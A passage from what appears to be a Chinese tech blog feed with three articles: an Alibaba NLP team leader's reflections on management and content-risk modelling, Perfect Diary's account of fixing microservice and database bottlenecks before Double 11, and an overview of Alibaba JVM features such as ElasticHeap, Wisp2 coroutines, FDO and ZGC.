        目标要定得高一些,有挑战性,达成的时候内心的成就感会更高一些。这个很容易理解,就好比你打游戏,虐了个菜,没多少快感;如果能赢下之前屡战屡败的对手,一定会兴奋很久。我跟部分同学说过,大家的眼光不要局限在三号楼,也不要局限在聚橙路,而是要放眼世界。
        目标定得太低,不仅不能逼出自己的潜力,还容易让自己关注于一些鸡毛蒜皮的小问题。
        前几天,我的主管在一个项目kick off会上说,当你回首往事时,要有一件做过的事情能够拿出来吹牛逼,人生才有意义。深以为然。

        过程即享受

        在阿里的工作肯定是辛苦的,我没看到过谁能随随便便就成功。如果只是冲着收入来做工作,难免在过程中会感觉到很多痛苦。物质的刺激是短暂的,不管是加薪、年终奖,或者option,兴奋高兴个几天就过去了。如果喜欢自己做的事情,专注于工作本身,从中源源不断地获得成就感,就能做到虽然辛苦但是不痛苦。
        我家做饭的阿姨是拆迁户,坐拥N套房,每天仍然跑几家做饭,我问她为什么?她说,以前是开苍蝇馆子的,拆迁后没得开了,但是自己就是喜欢做饭。理想状况下就是要招聘这种人。
        采取什么工作模式?——正确地做事

        四个在线化

        互联网的本质是连接,最大价值也是连接。
        这句话不知道是谁说的,第一次听说是在《计算机网络》课程上。互联网连接的可以是人和人,人和文档,人和数据,人和代码,人和……和一切你工作中需要的东西。
        接手团队之后,我发现同学们的工作模式真的是自耕农一般:各做各的模型,各用各的数据,各读各的paper,完全是原子化的散点存在。说得不客气一点,除了聚餐的时候,平时感觉不到这是一个组织。也就是说,身处中国顶级互联网公司,大家却像农业社会时期一样在进行生产,当着不折不扣的“码农”。
        团队里一个同学说得很好:相互间建立信任关系的最好办法是发生工作上的协同。我觉得,要发生工作上的协同,前提就是把工作相关的资源都在线化,与组织成员发生连接,于是,我设想做4个在线化。

        6
        图-文档、数据、代码、评测在线化
        1,文档在线化
        春节期间我建了个团队语雀,自己做顶层设计,写好框架,然后让同学们把业务、技术、资源、技术影响力等等和工作相关的内容都填写其中。这样子,每个同学都可以看到团队的各种信息和资源,以及其他人的工作。目前团队的语雀还对部分关联紧密的兄弟团队完全开放。
        2,数据在线化
        如果同学们各自管理自己的数据,形成数据孤岛不说,发生机器重装,或者转岗、离职,往往数据就丢了。接手的时候,能清理出来的有标签数据远远低于应有的数量,就是因为一直没有做数据的在线化管理。团队里的言奇同学做了样本大表项目,已经完成了将整个智能认知团队的全面标签数据在线化。这一点非常重要,后续在开发各种新模型,以及做预训练模型时,就拥有不同业务不同场景不同风险的大量数据,在短时间内取得了良好的效果。
        3,代码在线化
        这个正在进行中,预期S2结束时完成,出发点是:
        1)代码是团队重要的技术资产,应该统一管理,提高安全性。
        2)在线化后方便团队协作,共享优秀代码
        3)基础性模块代码统一,降低维护成本
        4,评测在线化
        也在进行中,设想是在一些特定任务上做几种经典模型和确认无误的主流模型,能够一键实现自己的模型和前者的自动化比对,提升工作效率。除此之外还有个作用:经典模型的结果可以作为baseline,帮助验证深度模型的正确性。因为,你做了一个深度模型,效果好也就罢了,效果不好的时候都搞不清楚是模型不适用,还是自己的代码写错了。

        找对前进的方向

        主管最重要的职责之一是当同学们迷茫的时候明确前进的方向。
        接着前面商业化的例子,详细情况是这样的:我们通过阿里云对外输出文本风险识别的算法能力做商业化,比如涉政、色情低俗、广告、辱骂等。我接手的时候,有3-4个同学全职投入这项工作,他们工作非常努力,干得也很辛苦,但是效果并不好,PK竞品的时候并无胜算。出了什么问题呢?
        分析之后,我发现以下问题:
        1)确实是一个内容维度的问题,但只使用了分类模型一种方式。
        分类模型适合解决静态标准的问题,并不适合及时响应业务上的快速变化。模型迭代更新的速度做到极限也只能是T+1或者T+2天,且人力消耗高。之前的主管为了解决这个问题,在分类模型中塞了一个风险词包,由算法同学维护更新,接到运营反馈的badcase之后手动添加到风险词包,然后定时推送到分类模型应用中。这个复杂的机制带来了词典的频繁构建,结果导致应用的稳定性问题频发,甚至已经无法更新。
        2)缺乏顶层设计,同学们各自为战。
        几个风险各自单独做模型,技术选型高度自由,百花齐放,starspace、SVM、CRF、kenlm、textCNN都有,难以统一提升能力,维护的难度大。
        3)做了过多的个性化定制,导致后续维护和升级的成本非常高。
        几乎为每一个稍微大一点的用户都单独做了模型,付费调用量不大,模型倒是有了好几十个。同学们频繁地做模型的迭代更新(每周都至少有1-2次),占用大量人力。
        怎么办呢?
        建设技术体系去解决某一类问题,而不是某个技术点去解决某一个问题;
        结合安全业务的特点,设计可以强化通用算法效果的基础能力或处理框架。
        ——上面两句话不是我说的,来源于前主管。(插一句:本文还有一些内容来源于前主管和主管。向主管学习是提升自己的一个重要途径)
        具体来说,解法有几点:
        1)明确 风险词包、相似性检索、分类模型、风险知识图谱 4种手段 适合完成的任务,且相互配合。
        2)把风险词包从分类模型中拆出来,降低应用的复杂度,以及模型迭代的频率,解决稳定性问题。
        3)分类模型的结构尽可能统一,标准尽可能不变,持续把效果做强。
        4)自从 BERT 提出以来,NLP问题的基本范式 从原来的 task-specific的模型结构设计 转变到 语言模型pretrain+下游任务finetuning的模式。工作重点应该转向预训练模型与知识蒸馏。
        由于目前对内的内容交互风险管控业务也在我的团队内,我就贴一张全局视角的问题分析与解决方案。
        7
        图-全局视角的UGC风险管控思路

        明确解法之后,同学们快速做了实践,到4月份就基本扭转了被动的局面,随后打了翻身仗,付费调用量增长25倍。现在模型的更新周期降低到以月为周期,稳定性大幅度提升,同学们也不再疲于奔命;而且,投入的人力也明显下降了。

        绩效的考核

        绩效考核决定了收益的分配,也是团队最重要的事情之一。
        如果把团队比作一个模型,考核的标准就是loss function。loss function一旦确定,模型的优化方向也就定了,团队成员会按照利益最大化原则沿着这个方向调整自己的action。
        所以,考核标准的设计需要体现团队的定位、价值和需求;在执行的过程中需要满足平等性。
        8

        图-绩效考核的3个维度

        业务结果

        阿里有个文雅的说法是:为过程鼓掌,为结果付酬。
        还有个话糙理不糙的说法是:没有过程的结果是垃圾,没有结果的过程是放屁。
        你觉得哪一句对你的胃口就看哪一句。
        配置在业务BU的算法团队,帮助业务目标达成肯定是首要任务。今年以来,AI行业也都渐渐挤出泡沫,回归本质,开始强调创造业务价值了。

        能力进步

        从价值观上讲,今天的最好表现是明天的最低要求。
        从业务需求讲,量级越来越大,业务形态越来越复杂,老算法是解决不了新问题的。
        从团队利益讲,成员的能力进步可以扩展团队的能力雷达图。
        参加百阿的时候,一位讲师的发言我到现在都记得:在座的各位最终都是要离开阿里的,离开的时候无非两种情况:1,公司不要你了;2,你不要公司了。怎么离开,取决于是你的能力提高快,还是公司对能力的要求提高快。
        技术影响力
        什么是技术影响力?
        有形物:Paper、竞赛成绩、著作、专利、ATA文章等。
        无形物:对内对外合作、对外PR、对内分享、组织机构任职、参会做报告等。

        为什么要建设技术影响力?

        1)团队的四项基本能力:连接、生产、传播、服务,其中“传播”就需要技术影响力。
        2)CRO线的使命“四心”中,有一条叫“让监管单位放心”。技术影响力是让监管放心的有效方式之一。
        3)商业化需要资质:搞过投标的同学都知道。
        4)招聘需要名气:对候选人讲解我们的技术水平时,如果用内部业务举例,不容易产生共鸣;但是如果直接亮出顶会论文、刷榜名次之类的,对方马上就懂了。
        5)个人的市场价值需要证明:这些东西都可以作为个人技术品牌,到哪都能带着。
        假定一个场景,有人问:“你说这个业务做得好,说明你的算法水平高。会不会换一个人能够做得更好?”你打算怎么回答这个问题?
        再假定一个场景,你打算给自己团队的算法能力定性为“xx领先”或者“xx第一梯队”,如果没有硬核的技术影响力做支撑,是否还能理直气壮?

        平等性

        团队协作的基础是团结,团结的基础是平等。
        平等性最重要的体现,就是在考核过程中尽可能只衡量以上三项,不去考虑地域、教育背景、从业经历、之前表现、颜值、性别、个人动向等等其他因素。我认为:结果体现的就是能力,直截了当,最能服众。
        当然,这个世界上是否有完全客观的判断?或者,完全客观的判断如果存在,是不是就是最合适的?我不知道答案。不过,我觉得不能因为做不到完全的平等而放弃追求平等。

        广告

        按照惯例,it's the time for employment ad。我们需要研究这些领域:
        1)安全场景特有的问题
        1.1)无限制条件下的攻击与防御
        现实世界里,违规者的变形变异方法是不受约束的,思路非常广,让人防不胜防。我们需要研究无限制条件下的攻击与防御以提升我们对于业务(尤其是信息治理 与 商品)中层出不穷的变形变异,这属于核心能力。
        1.2)模型的可解释性
        是AI的一大发展趋势。我们作为安全AI,这张牌更需要打出来,体现安全领域的特色;也需要给业务同学提供人可以理解的原因,放心地做决策。
        1.3)小样本学习
        安全场景经常因为不可抗力不能搜集到足够的样本,或者长尾风险因为成本的原因无法去做样本收集,必须要发展只凭借少量样本快速获取“够用”的模型的手段。
        2)预训练与知识蒸馏
        自从 BERT 提出以来,NLP问题的基本研究范式 从原来的 task-specific的模型结构设计 转变到 语言模型预训练+下游任务微调的模式。这是历史必然的趋势,不可扭转。
        2.1)预训练
        预训练模型自身的提高,可以带来 分类、检索、NER等NLP基本任务(这些都是我们需要具备的核心能力)的水平提高,且有利于NLP技术体系的统一化。可以把我们的各种应用算法能力比喻为船,预训练模型是水,水涨就能船高。
        2.2)知识蒸馏
        由于目前还存在模型复杂度和计算资源的尖锐矛盾,对于我们这种业务量动辄十几亿的情况,模型的计算效率具有非常重要的财务意义。如何在尽可能保障效果的前提下降低计算资源的消耗具有非常现实的意义。
        3)更基础的数据科学
        3.1)对数据规律的发现与分析
        3.2)弱监督/半监督学习
        3.3)噪声数据的处理
        现在有一种倾向是把重心放在模型的优化上,尝试变换各种模型来提升效果,但对数据本身的分析往往是缺少的,没有耐心去分析badcase,挖掘数据规律。我们实际业务中遇到的数据虽然量很大,但质量并不高,如果能有比较高的数据敏感性,分析数据的规律,可能并不需要太复杂的模型,只需要根据数据规律进行有针对性的调整采样,就能够提升算法表现以及训练效率。
        3.4)迁移学习
        包括同种语言内 不同domain语料之间的迁移;以及多语言之间的迁移。
        __
        我们的工作很有挑战,也很辛苦,确定自己想来再钉钉我,北京杭州两地可选。

        彩蛋

        感谢你耐心地坚持看到这里,作为奖励,我故意把正文里一些重要内容放在了这里,尤其是像招聘这种主管的核心技能。

        招聘

        招聘是主管的基本功;招聘做好了,团队已经成功了一半。
        之前在CV团队,不光给自己招,也给几乎所有兄弟团队招,很高兴地看到这些同学已经在建功立业了。先摆一下这几年来招聘任务的量:
        9
        图-几年来累积的招聘任务数量
        大家肯定会问:这么多简历,哪来的?
        我所在的BU在外知名度还不算高,很少能收到主动投递的简历,所谓的合作猎头从来就没起到过作用,只能自己想办法。来源包括:1)采蜜;2)社交网站;3)内推;4)去各种会上收。希望以后团队的对外影响力越来越大,我能够躺着被简历淹死。
        再掰开了说,以采蜜为例,就有很多苦操作,比如之前社招简历是每天夜里12点超期释放,就天天蹲守;校招公海池是每天晚上8点开闸,就要天天拚手速;还有候选人被其他BU持有不放,就各种协调乃至扯皮…… 举个例子,大团队内有位同学,当初我是在出差路上,出租车上挂上VPN抢到的简历。
        在招聘中,我发现一个现象:当你只接触过百级别的候选人时,不容易招到人;但是如果你接触过千级别的候选人,招聘的难度明显下降了。原因大约是,在广撒网的过程中积累了一个高可能性的候选人池子,池子的规模大到一定程度,产生合适的候选人就不那么难了。

        关于“嫡系”

        从CV团队换到NLP团队接手的时候,HR询问是否需要从原团队带一个人到新团队。
        我考虑之后答复不带。因为,我需要快速地和新团队的同学们建立信任感,并且全心全意地依靠他们。如果我带一个同学过去,新团队的同学怎么看?他们会在心里说:看,那个人是主管带过来的,是亲信。这样很容易在我和同学之间产生距离与疑虑。同样的,原来团队的同学会想:看,主管带走的那个人是他最信任的,我不是。
        团队的持续发展需要海纳百川,搞出类似“嫡系”和“非嫡系”这种分群,长久来看是会制约团队能达到的的高度,也会制约主管的高度。

        因为信任,所以简单

        除了出勤之类,在工作成果的真实性上主管也只能选择信任下属,原因很简单:如果10个下属每周报告的结果,主管都去亲手验证一遍,可能一个星期还不够。
        但是,信任同时也是很容易被打破的——一旦主管发现下属报告的结果有故意虚报浮夸的部分,后续就很难再默认信任TA。类似的,某些人的周报总是花团锦簇高歌猛进,但是一年下来模型的效果效率并没有提升,大家只能选择默认不相信。
        前面说的都是主管要信任下属,大家思考一个问题:下属是否需要默认信任主管呢?为什么?

        认真生活,快乐工作

        阿里有句老话:加班是对的,不加班也是对的,只有不完成工作是不对的。
        我从内心里不喜欢长时间高强度加班。为了赶一下进度,阶段性地温和加班一下,是可以接受的。如果长期需要高强度加班,那一定是主管的计划、评估或者安排出了问题。最近刚和2个同学聊过,因为他们回家太晚或者周末来公司加班,我担心是自己有什么做错了。
        当然了,这一点我自己做得也不好,尤其是接手初期百废待兴的时候,经常工作到很晚,周末做几个面试。前些天做新六脉神剑培训,传橙官说得特别好:“认真生活,快乐工作”这一条,主管要以身作则,带头做好——如果你自己都苦哈哈的,下面的同学怎么快乐得起来?深以为然,于是我打算坚决落实领导指示,定个小目标:每周三天按时下班,目前已经坚持了三个星期。

        参考文献

        我是吴军的粉,在这里推荐几本他的著作:
        《见识》《态度》《格局》《浪潮之巅》《全球科技通识》
        本文中一些内容的源头来自以上书籍。
        有些书我给团队内的同学送过,不过大多数人都没有看,这件事情我违背了自发性原则。

        作者信息:
        张荣,花名威视,现任职阿里巴巴 CRO 线 NLP 算法团队 leader ,长期聚焦于 NLP 、图像识别、视频分析算法领域,面向整个经济体提供信息治理、数据安全、商品、人机等多个方向的算法能力,并通过商业化服务于社会。目前致力于基于风险知识的 NLP 算法建设。

        ]]>
        “国货之光” 完美日记的微服务实践和优化思路 Fri, 02 May 2025 09:39:04 +0800 lADPDgQ9rVfPg37NArPNBMs_1227_691_jpg_620x10000q90g

        如果你是一位程序媛,你一定知道完美日记。
        如果你是一位程序员,你的那个她一定知道完美日记。

        今年双11,完美日记仅用28分钟就超过了2018年双11全天的销售额,成为第一个登上天猫双11彩妆榜首的国货品牌。在这个遍地都是漂亮小姐姐、号称男人(特指程序员)天堂的公司里,拥有着一支什么样的基础架构技术团队,他们是如何在 4 个月内筹建、上线电商平台的呢?本文将为您分享他们在实践微服务过程遇到的难点和优化思路。

        完美日记基础架构技术团队欢迎您的加入,移步文末,了解详情。

        起步

        自建商城在设计之初,业务部门就提出了两个要求:不崩 & 快速上线。

        在立项之后,团队还没有完全配备好,一边从其他团队里调取人手,一边大力招聘,与此同时,我们的架构师也在搭建一套分布式商城开发框架,编写 Demo,让新加入的同学能快速上手。

        暴露问题

        问题一:分布式事务
        为什么会使用分布式事务?

        这个暂且可以归因于快速上线,因为生成订单会调用到商品服务扣减库存,使用了分布式事务解决了因为跨服务调用引起库存超卖的问题,带来的问题就是性能上的消耗。

        问题二:数据库压力
        在大促活动期间,有个实时统计是直接从业务库上直接查询统计的,运营部门的小姐姐在不断地刷新,导致该接口上的压力山大,而且没有使用缓存,连 SQL 查询条件的时间都是动态的,导致 DB 层的缓存也使用不上,每次请求都打到 DB 上。

        开发和测试环境是使用自建的 MySQL,生产环境使用的是 PolarDB,从阿里云官网上看到:

        • 集群架构,计算与存储分离
        • 读写分离

        我们主观地认为,只要我们使用了集群连接地址就会自动进行读写分离,但是实际上并没有,后来发现在方法上显式的指定只读事务就有请求走到只读节点上了。
        @Transactional(readOnly = true)

        # 优化思路:
        1)从 SQL 洞察和慢 SQL 里找调用响应时间最长和频度最高的 SQL;
        2)结合代码,能用缓存代替的直接处理掉,不用能缓存的优化查询,结合阿里云提供的优化分析工具,调整索引;
        3)活动高峰时段,禁止分析统计类的查询执行,临时改代码已经来不及了,幸亏 AHAS(阿里云的一款限流降级产品) 的接口限流和 SQL 限流功能;
        4)TP 和 AP 分离,避免分析类直接查询到业务库(这是一个比较漫长的过程)。

        问题三:缓存压力
        除了前面所提到的分布式事务之后,发现还有同事写了使用 Keys 模糊查询 Redis,直接导致 Redis 的 CPU 飙升严重,通过阿里云提供的 Redis 管理工具可以很方便地查看到有哪些慢查询。

        另外一个低级错误,我们相信应该不是第一个,也不会是最后一个,本来要设置一个 Key 的过期时间,结果少写了个 Unit 参数,第三个就变更偏移量了。

        redisTemplate.opsForValue().set(key, value, offset)

        # 为什么我们花了10分钟左右才解决?
        1)惯性思维,review 代码没发现出来;
        2)在错误日志里发现 Redisson 锁失败时,怀疑是 Redis 写满了;
        3)使用阿里云的工具去查大 Key 时发现了 Key 很大,但是直接在网页查看值的时候只看到保存了一个字符,问题就出在这里,因为 RDS 管控台里获取到的值看起来是正确的,大概又过了2分钟左右,我觉得不太对劲,然后登录上去用 redis-cli 查看,傻眼了,里面塞满了 0x00。

        lALPDgQ9rVfPg33NAiPNBDg_1080_547_png_620x10000q90g

        问题四:
        商城上线当月有一个促销活动,因为瞬间进来的流量过大,小程序前端埋点事件上报的接口连接数爆了,商城实时数据统计调用了流量统计服务的接口,然而服务调用超时时间设置的是60s,导致过多请求积压,CPU 突然飙升得很厉害。

        # 优化思路:
        1)充分利用 Nginx 的并发处理能力,Lua 脚本提供了强大的处理能力,将 Java 处理请求改为使用 OpenResty 接收;
        2)接收到请求之后做好基本的校验之后,使用 lua-resty-kafka 模块异步发送到 Kafka;
        3)Kafka 落盘到 HDFS 后,由 Spark 离线计算日志数据;
        4)后端接口独立部署,实时数据统计调用接口设置更短的超时时间;

        经过以上改造之后,前端日志上报服务单机处理能力由原来的 1K 提升 40K,那种如丝般顺滑的体验实在是太好了。

        迭代

        从当时的情形来看,针对双11的活动做大动作调整代码优化基本上是来不及了,离活动还有不到两个星期的时间,即便改了,风险也很高。

        1、压测
        作为一个新上线的项目,数据量还比较小,使用云服务来搭建一套1比1的压测环境还是比较容易的,在这个时间节点上,我们需要模拟真实的场景摸清楚目前的系统能承受多大的压力,需要多少机器。

        阿里云上有个 PTS 的压测工具,可以直接导入 Jmeter 脚本,使用起来很方便,接下来说说我们的使用步骤:

        1)先是按过往一个月的用户行为日志里,找出用户的路径和每个行为的思考时间,做了一个大概的模型;
        2)按照双十一活动的运营节奏,定义了两到三个场景;
        3)使用 ECS 搭建 Jmeter 集群,内网对接口进行施压,目的是减少网络开销,让请求都能打到后端服务器上;
        4)观察服务器的压力,调节应用内存分配,再通过 PolarDB 性能分析,找出有性能瓶颈的 SQL 尽可能地优化掉;
        5)将 Jmeter 脚本导入到 PTS,关联上数据库和 ECS 机器的云监控,设置好思考时间等相关的参数后施压,可以动态秒级调整压力,生成的压测报告就是我们想要的结果,需要拿这个结果来进行下一步的限流控制。

        2、限流
        1)在接入 AHAS 过程中,由于微商城项目当前版本接入的是spring-cloud-alibaba-dependencies-0.9.0.RELEASE版本来使用阿里云的 OSS 与 SMS,在接入 AHAS 后,需要对依赖 Alibaba 版本的升级,涉及包括 Nacos 配置中心与服务发现的升级和包路径的命名变更修改;
        2)在接入 AHAS 的 gateway 网关路由限流,采用的是 SDK 接入方式,AHAS 采用了符合 springboot-starter 特性的 SDK 开发,这样在我们微商城接入 gateway 时只需要在项目 POM 中加入 spring-cloud-gateway-starter-ahas-sentinel,在接入 gateway 的时候发现,网关路由限流采集上传的 API 出现了没有兼容 Restfull 风格 API 的问题,导致 URL 上出现参数时多个url没有合并一起的情况,阿里云 AHAS 支持团队立即发布 Fix 版本,提供新的 SentinelWebInterceptor 拦截器进行清洗 Restful 风格 API 处理;
        3)在接入 AHAS 的应用模块限流,采用的也是 SDK 接入方式,在按官网文档进行接入的时候,发现我们微商城采用的是最新版本的 Mybatis Plus 版本,在接入 SQL 限流分析功能时发现出现ahas报错,在将此反馈到ahas钉钉团队支援群后,当时已经差不多凌晨一点了,ahas团队的及时响应以及第二天早上就发布了兼容 Mybatis Plus 版本的SQL 限流分析版本给到我们微商城,在我们接入新版本后,SQL 分析和限流功能也能正常使用了;
        4)在使用 AHAS 接入的时候,发现 AHAS 除了接口的 API 限流功能外,还提供了CPU/Load 的限流,对服务器性能情况的监控和保护做了很好的护航,在微商城服务器压力过高时能够很好的保护服务器不被高并发压垮,保证了服务的高可用,同时在服务器压力大的时候,做到了实时 QPS 日志上传的隔离,避免上传抢占服务器资源,保证了服务器在接入 AHAS 后也能保持良好的性能。

        未来

        未来计划要做的事情:
        1)按服务拆分 Redis;
        2)数据库读写分离、分库分表、TP/AP 分离;
        3)业务中台化:建立业务中台,打通商品中心、库存中心、用户中心和交易中心;

        为了更好的应对源源不断的挑战,以下岗位持续招聘中:

        • Java开发工程师
        • 前端开发工程师
        • 测试工程师

        **有意请发送简历至邮箱:
        Lynn.Guo@yatsenglobal.com**

        作者信息:
        庄工:逸仙电商架构师&技术委员会负责人,负责完美日记商城基础架构和微服务体系建设。
        关工:逸仙电商后端技术专家,现主要参与微商城后端框架集成方案、以及性能调优和微商城技术规范管理。
        唐工:逸仙电商技术经理,曾先后就职于中国航信和唯品会,现主要负责前后端技术统筹等打杂工作。

        ]]>
        重塑云上的 Java Fri, 02 May 2025 09:39:04 +0800 音乐无国界,但是音乐人有国界。

        云原生亦如此。虽没有限定的编程语言,但应用所使用的编程语言已经决定了应用部署运行的行为。

        Java 诞生于20年前,拥有大量优秀的企业级框架,践行 OOP 理念,更多体现的是严谨以及在长时间运行条件下的稳定性和高性能。反观如今,在要求快速迭代交付的云场景下,语言的简单性似乎成了首要的要求,而传统的 Java 语言显得有一些过于重量了。

        本文由阿里巴巴 JVM 团队技术专家郁磊(花名:梁希)分享 JVM 团队是如何面对和处理集团巨大的业务规模和复杂的业务场景的。

        ElasticHeap

        Java 常因为耗资源而受诟病,其中最显著一点就是 Heap 对内存的占用,即便没有请求在处理也没有对象分配,进程仍然会保留完整的堆内存空间,保障 GC 进行分配内存和操作内存的快速敏捷。

        AJDK ZenGC/ElasticHeap 双十一全面支持核心链路上百应用和数十万实例。
        1

        JDK12 开始支持固定时间的触发 concurrent mark 并在 remark 中收缩 Java 堆归还内存的功能,然而并未解决在 stw 中增加暂停时间的问题,因此无法在每次 young GC 时做内存归还。 ElasticHeap 在并发异步线程中完成内存处理反复 map/unmap 以及 page fault 的开销,因此任意一次 young GC 都可以敏捷的及时归还内存,或重新恢复内存使用。

        ElasticHeap 阿里巴巴实战

        ElasticHeap场景1:可预测的流量高峰

        2
        3

        ElasticHeap 场景 2 :单机运行多个 Java 实例
        4

        多个 Java 实例接受的流量任务较为随机,峰值不会重叠,在闲时可以有效降低多个实例整体的内存占用,提高部署密度。

        双11验证核心交易系统使用 ElasticHeap 进行低功耗模式运行,大幅降低 WSS(Working Set Size) 规模的实例。

        lADPDgQ9rTs_h4TNAfXNAvU_757_501_jpg_620x10000q90g

        静态编译

        很多云上的新应用不约而同地选择了 Go 语言,很大的原因是 Go 应用对运行时没有依赖,静态编译的程序启动速度快,也不需要通过 JIT 来预热。在阿里有大量 Java 代码的前提下,我们是如何为 Java 注入这方面的能力的呢?

        Java 静态编译技术是一种激进的 AOT 技术,通过单独的编译阶段将 Java 程序编译为本地代码,在运行时无需传统 Java 虚拟机和运行时环境,只需操作系统类库支持即可。其工作基本原理如下图所示。静态编译技术实现了 Java 语言与原生 native 程序的“合体”,将原本的 Java 程序编译成为了一个自举的具有 Java 行为的原生 native 程序,由此兼有 Java 程序和原生 native 程序的优点。

        JVM 团队与 SOFAStack 团队密切合作,在中间件应用上率先实现静态编译的落地。将一个应用的启动速度从 60 秒优化到 3.8 秒,双十一期间静态编译的应用运行稳定,没有故障, GC 停顿时间在 100 毫秒,在业务允许范围之内,内存占用和 RT 与传统 Java 应用持平。

        6

        综上所述,静态编译的应用在稳定性、资源占用、RT 响应等各方面指标与传统 Java 应用基本持平的状况下,将启动时间降低了 2000% 。

        Wisp2

        当你用时下最酷炫的 Vert.X 开发一个简单的 Web 服务,准备体验一下最强的性能, QA 同学拿来一台 1C 2G 的容器让你压一下,你却发现你怎么也拼不过别人 Go 应用。研究之后发现,原来协程模型在这样的少核心的情况下性能要好很多。是时代变了, Java 落伍了?

        AJDK Wisp2 回答了这个问题: Java 同样可以拥有高性能的协程。今年是 Wisp2 大规模上线的第一年, Wisp2 具有如下特点:
        在整个Java runtime中支持了协程调度,线程(比如 Socket.getInputStream().read() )阻塞会变成更轻量的协程切换。
        完全兼容 Thread API ,在开启 Wisp2 的 JDK 中,Thread.start() 实际创建的是一个协程(轻量级线程),可以类比 Go 只提供协程关键字 go 而没有暴露线程接口;我们同样只提供创建协程的方式,应用可以透明切换到协程。
        支持 work stealing ,调度策略特别适合 web 场景,在高压力下调度开销极小。

        在今年双十一, Wisp 支持了上百应用,十万级容器,其中 90% 的容器已经升级到 Wisp2 。

        7

        我们可以看到峰值附近, Wisp2 机器的 CPU 要低 7%( Wisp1 更低,Wisp2的取向是 RT ,因此 CPU 会高一些)左右,这主要是轻量级调度所节省的 sys CPU 。 0 点的 CPU 是相等的,这也说明一点: Wisp2 解决的是调度开销,当 CPU 低,调度没有压力时是看不出差距的。

        8

        从 RT 角度看, Wisp2 机器的 RT 要低 20% 左右, RT 减少明显的一个原因是这批机器的 CPU 压力很大,协程的调度优势更容易体现出来。这样的优势可以帮助系统摸高到更高的水位,整体地提高利用率而担心 RT 过高导致系统雪崩。

        FDO

        双十一正零点相对后面几分钟会有一个明显的 CPU 峰值,根据数据分析,主要原因是双十一零点触发了 JIT 编译。 举个例子,程序里有逻辑:
        if (is1111(LocalDate.now())) {
        branch1
        } else {
        branch2
        }
        假设预热时一直在走 branch2 ,那么 JIT 有理由相信后续基本也都会走 branch2 ,而不会对 branch1编译。在零点时,我们进入 branch1 ,此时就需要触发退优化重新编译方法。我们来看 AJDK 如何通过 profiling 解决这个问题。

        退优化原理及其危害

        JDK 运行代码的时候,采用分层编译的方式对 Java 方法进行动态编译。在最高等级(峰值性能最好)的编译中,出于性能的考虑,编译的时候会根据收集的信息做一些比较乐观的假设,一旦这些假设条件不满足了,就会出现退优化的现象。比如某个热点方法中某段代码仅会在双十一中执行,那么在预热过程中这段代码不会被编译,双十一到来时这段代码一旦被执行,就会触发整个方法的退优化。

        发生退优化有两个方面的负面影响,一是需要运行的方法由高效率的编译执行变成了解释执行,运行速度降低百倍以上;二是流量高峰期退优化的方法会很快被重新编译,编译线程会消耗 CPU 。因此在双十一这种流量短时间剧增且与预热流量不太一样的场景下,退优化的危害会特别明显。

        通过 FDO 减少退优化

        FDO 是 feedback directed optimization 的缩写,即参考以往 JVM 运行时的编译信息,指导本次运行时进行更好的编译。具体的,我们采用了两个层面的方法来减少退优化。
        将每次运行时的退优化信息记录到文件中,下次运行时读取这个文件,在决定是否做乐观假设的时候参考文件中的信息做判断,从而减少退优化的概率。

        信息显示出现最多的退优化与 if-else 相关,占总数量的一半以上。我们提供了一个方法根据以往出现 if-else 退优化的信息,关闭某个路径上所有相关的乐观假设。

        双十一中 FDO 的效果

        FDO 今年双十一上线,目标解决两个问题:
        1、双十一 0 点流量高峰和退优化/编译高峰叠加造成的 CPU 使用率脉冲过高。

        2、预热效率低,压测经过前长时间预热后,增大流量时仍然伴随着大量的编译及退优化。

        针对第一个问题,我们收集了双十一高峰第一分钟的退优化/C2 编译次数以及 CPU 数据。

        可见开启 FDO 后高峰期 C2 编译数目减少约 45% ,退优化数目减少约 70% 。

        CPU 数据上,高峰期第一分钟内开启 FDO 后 CPU 由约 67.5 降低到 63.1 ,降低约 7.0% 。

        9

        第二个目标可以通过压测第一分钟的 CPU 数据验证。

        开启 FDO ,压测第一分钟 CPU 使用率由 66.19 降低到 60.33% ,降低约 10% 。

        Grace

        ZProfiler 一直是全集团排查 Java 应用各类问题的利器,而 Grace 作为其平台化的版本,对其实施了一系列的优化,从原来的单机版本到现在的 Master/Worker 架构,同时引入了任务排队机制,在高压力情况下对用户的任务进行排队从而解决 Worker 不堪重负的问题。在可维护性、拓展性、以及用户体验上得到了质的提升,为后续工具平台的上云、开源事项打下了夯实的基础。

        目前已经集成了 Heap Dump 功能,在继承 ZProfiler 功能的基础上做了一定的优化,提升了解析引擎的版本,支持更全面的 OQL 语法等等。

        10

        JDK11

        JDK8 作为一个经典版本,正被大规模使用,虽然从 JDK6 和 7 迁移上来有一定的阵痛,但是升级后普遍的反馈是:“真香”。

        OpenJDK 8的下一个稳定版本是 OpenJDK 11 。JVM 团队自然会在这个方向上积极跟进,目前 AJDK11 支持了 AJDK8 的 Wisp2 、多租户特性。本次双十一的部分集群已经上线到 JDK11 ,表现稳定。

        升级 JDK11 是否会和升级 JDK8 一样给我们带来同样的的惊喜呢?在 JDK11 上我们可以体验到最新的 ZGC 。

        ZGC

        JDK11 引入了一个重要特性: ZGC 内存垃圾回收器。这个垃圾回收器号称能够在几十 GB 至若干 TB 的堆上把暂停时间保持在 10ms 以内。许多 Java 开发者苦于过去的垃圾回收器的暂停时间带来延迟, ZGC 短暂停的特性未来无疑会成为 Java 开发者的新宠。

        目前 ZGC 在 OpenJDK 中仍然处于实验特性,而且 JDK11 尚未在产业界完全普及, JDK11 只支持 Linux 上的 ZGC( MacOS 和 Windows 的 ZGC 预计在 2020 年 3 月发布的 JDK14 版本才会支持),许多 Java 开发者仍然只能垂涎欲滴,处于观望状态。

        向来敢于吃螃蟹的我们岂能望而却步?阿里 JVM 团队和数据库团队已经开始让数据库应用运行在 ZGC 上,并根据运行的效果对 ZGC 进行了相应的改进工作,包括 ZGC 的页缓存机制优化、ZGC的触发时机优化等等。

        从 9 月开始,两个团队推动线上数据库应用在 ZGC 上运行,目前已经稳定运行两个月,并顺利通过双十一大考。线上反馈的效果可喜可贺:
        1、 JVM 暂停时间保持在官方的 10ms 以内;
        2、 ZGC 大大改善了线上运行集群的平均 RT 与毛刺指标。

        小结

        从上述的功能特性可以看到 AJDK 已经从一个传统的 Managed Runtime 脱胎换骨。今后 AJDK 将继续致力于提高云上的应用的开发体验,通过底层的创新为上层应用提供更多的可能。

        在 Dragonwell 上使用 AJDK 功能

        上述的这些经过双十一考验的功能都将随着 Dragonwell 陆续开源和交付到广大用户手中,敬请关注。

